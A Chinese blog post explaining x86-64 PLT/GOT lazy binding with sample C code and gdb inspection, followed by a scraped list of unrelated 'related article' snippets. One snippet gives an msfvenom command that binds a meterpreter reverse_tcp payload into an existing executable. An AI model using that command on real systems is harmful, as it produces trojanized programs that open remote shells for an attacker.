Linux plt表调用汇编代码分析
linux调用共享库中的函数时通过plt表和got表实现位置无关代码,过程中涉及到lazy binding,即在第一调用外部函数时解析被调用的函数地址并将地址写入到got表,后续调用则不需要解析函数地址,具体过程如下
1.c程序如下
#include <stdio.h>
#include <cstub.h>
#include <dlfcn.h>
extern void a();
int main()
{a();int i=1;
}
2.c程序文件如下
#include <stdio.h>void a()
{void *b = printf;printf("hahahaha\n");
}
编译参数如下
gcc -g 1.c -I. -L. -la -ldl -z lazy
gcc -g -fPIC -shared 2.c -o liba.so
使用gdb调试a.out,在main上下断点,反汇编main函数如下

可以看出程序时通过0x401030这个地址来调用a函数,反编译0x401030如下

0x401030这个地址反编译对应着plt表,jmpq *0x2fe2(%rip) 是 x86-64 架构中的一条跳转指令。我们来逐部分分析这条指令的含义:
-
jmpq: 这是一个跳转指令,
jmp表示无条件跳转(jump),q表示这是一个 64 位的跳转("quad" 的缩写)。 -
0x2fe2(%rip): 这里使用的是相对寻址模式,
%rip是指令指针寄存器(Instruction Pointer Register),它指向当前正在执行的指令的地址。0x2fe2是一个偏移量,表示从当前指令的地址向前或向后偏移 0x2fe2 字节。也就是说,0x2fe2(%rip)将计算出一个地址,这个地址是当前指令地址加上 0x2fe2。 -
*0x2fe2(%rip): 星号(
*)表示将这个计算出的地址作为跳转目标,而不是直接跳转到一个固定的地址。也就是说,指令会跳转到由0x2fe2(%rip)指向的地址。 -
使用x读取这个地址内容,发现对应应位置是got表内容,值未0x401036,对应着上图pushq这条汇编指令,即程序执行完plt表第一条jumq后紧接着执行pushq %0;jump 0x401020,0x401020保存了解析a函数地址的代码。

执行r命令,并执行到int i=1这行代码,此时程序执行完a函数并输出,再次查看got表内容,可以发现got表对应的值改变为0x00007ffff7fcb105,反汇编a函数,可以看出a函数的地址也为0x00007ffff7fcb105,因此后续在调用a函数是,程序通过jmpq *0x2fe2(%rip) 这句指令跳转到a函数真实地址并执行a函数。

相关文章:
Linux plt表调用汇编代码分析
linux调用共享库中的函数时通过plt表和got表实现位置无关代码,过程中涉及到lazy binding,即在第一调用外部函数时解析被调用的函数地址并将地址写入到got表,后续调用则不需要解析函数地址,具体过程如下 1.c程序如下 #include &l…...
ubunut声卡配置 播放视频没有声音的解决方法 蓝牙问题
文章目录 🌕ubuntu22.04网页没有声音,声卡提示Dummy Output🌙方法一:切换内核🌙方法二:UBUNTU 声卡提示Dummy Output或伪输出解决办法(2020.04.02🌙方法三:解决Ubuntu18.…...
《软件工程概论》作业一:新冠疫情下软件产品设计
课程说明:《软件工程概论》为浙江科技学院2018级软件工程专业在大二下学期开设的必修课。课程使用《软件工程导论(第6版)》(张海藩等编著,清华大学出版社)作为教材。以《软件设计文档国家标准GBT8567-2006》…...
大厂出来的人为什么不比你高效?
在最近参加的一个线下聚会上,有人问我:“我们单位有来自阿里、腾讯、华为这些大厂的人,为什么我没觉得他们做事比我们这些没大厂经历的人更有章法和效率?”你别说,这一问所反映的现象,与我在阿里巴巴工作时…...
71.【C语言】动态内存管理(重点)(4)
本文为数据结构打下基础 备注:数据结构需要掌握指针,结构体和动态内存管理 目录 6.常见的动态内存的错误 1.对空指针解引用 2.对动态空间的越界访问 3.对非动态内存空间进行free释放 4.使用free只释放开辟的内存空间的一部分 5.对同一块动态内存多次释放 6.动态开辟的…...
JavaScript 用HTML5约束验证API做表单验证
一、验证属性与通过与否 以下为在表单元素上的可用属性: required<boolean> 必填字段,接受布尔值,默认false pattern<string> 接受正则,用户输入的文本必须满足该正则表单元素对象上有checkValidity()方法ÿ…...
Unity 编辑器多开
开发多人联机的功能时大多数会遇到测试机不方便的问题。想多开同一个项目Uinty又禁止。。。因为在使用Unity Editor打开一个项目时,Unity Editor会在项目目录建立一个Temp目录,同时对里面的一个UnityLockfile文件进行加锁。SO...可以使用以下方法进行多开…...
【Spring Boot React】Spring Boot和React教程 完整版
【Spring Boot & React】Spring Boot和React教程 在B站找到一个不错的SpringBoot和React的学习视频,作者是amigoscode 【Spring Boot & React】Spring Boot和React教程 2023年更新版【Spring Boot React】价值79.9美元,全栈开发,搭…...
Linux中的多线程
Linux线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能:创建一个新的线程 原…...
《计算机原理与系统结构》学习系列
系列文章目录 一、计算机概要与技术 二、指令:计算机的语言(上) 三、指令:计算机的语言(中) 四、指令:计算机的语言(下) 五、计算机的算数运算(上&#…...
征程6 工具链常用工具和 API 整理(含新手示例)
1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署,本帖将整理常用的工具/接口以及使用示例来供大家参考,相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满,欢迎访问 2.hb_con…...
我有一张图,我怎么让midjourney按照这张图继续生成呢?
使用文字生成图片是一种基本的功能,但是还有一种场景,不是从文字生成图片,而是基于已有的一张图片生成另一张图片,这个时候,就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...
MSF捆绑文件
msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...
01_SQLite
文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据,以结果表的形式返回数据(结果集)updatedistinctorder bygroup byhaving触发器删除一个触发器(tr…...
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】 一、上篇回顾二、项目准备2.1 准备模板项目2.2 支持计时功能2.3 配置UART4引脚2.4 支持printf重定向到UART42.5 支持printf输出浮点数2.6 支持printf不带\r的换行2.7 支持ccache编译缓存 三、TFLM集成3.1 添加tfli…...
畅阅读小程序|畅阅读系统|基于java的畅阅读系统小程序设计与实现(源码+数据库+文档)
畅阅读系统小程序 目录 基于java的畅阅读系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布道师…...
【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版
文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理,已经进行了介绍与总结,相关内容可参考【…...
二分查找一>寻找峰值
1.题目: 2.解析: 暴力遍历代码:O(N),由于该题数据很少所以可以通过 暴力遍历:O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增,更新就indexif(nums[i]…...
《Linux从小白到高手》理论篇:深入理解Linux的网络管理
今天继续宅家,闲来无事接着写。本篇详细深入介绍Linux的网络管理。 如你所知,在Linux中一切皆文件。网卡在 Linux 操作系统中用 ethX,是由 0 开始的正整数,比如 eth0、eth1… ethX。而普通猫和ADSL 的接口是 pppX,比如 ppp0 等。 …...
redis数据类型介绍
1. 字符串(String) 字符串是 Redis 中最基本的数据类型,它可以存储任何形式的字符串,包括文本、数字等。字符串类型的操作非常丰富,比如 SET、GET、INCR(自增)、DECR(自减࿰…...
龙虎榜——20250610
上证指数放量收阴线,个股多数下跌,盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型,指数短线有调整的需求,大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的:御银股份、雄帝科技 驱动…...
AI-调查研究-01-正念冥想有用吗?对健康的影响及科学指南
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...
Cursor实现用excel数据填充word模版的方法
cursor主页:https://www.cursor.com/ 任务目标:把excel格式的数据里的单元格,按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例,…...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...
安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件
在选煤厂、化工厂、钢铁厂等过程生产型企业,其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进,需提前预防假检、错检、漏检,推动智慧生产运维系统数据的流动和现场赋能应用。同时,…...
STM32F4基本定时器使用和原理详解
STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...
镜像里切换为普通用户
如果你登录远程虚拟机默认就是 root 用户,但你不希望用 root 权限运行 ns-3(这是对的,ns3 工具会拒绝 root),你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案:创建非 roo…...
WordPress插件:AI多语言写作与智能配图、免费AI模型、SEO文章生成
厌倦手动写WordPress文章?AI自动生成,效率提升10倍! 支持多语言、自动配图、定时发布,让内容创作更轻松! AI内容生成 → 不想每天写文章?AI一键生成高质量内容!多语言支持 → 跨境电商必备&am…...
【python异步多线程】异步多线程爬虫代码示例
claude生成的python多线程、异步代码示例,模拟20个网页的爬取,每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程:允许程序同时执行多个任务,提高IO密集型任务(如网络请求)的效率…...
[Java恶补day16] 238.除自身以外数组的乘积
给你一个整数数组 nums,返回 数组 answer ,其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法,且在 O(n) 时间复杂度…...
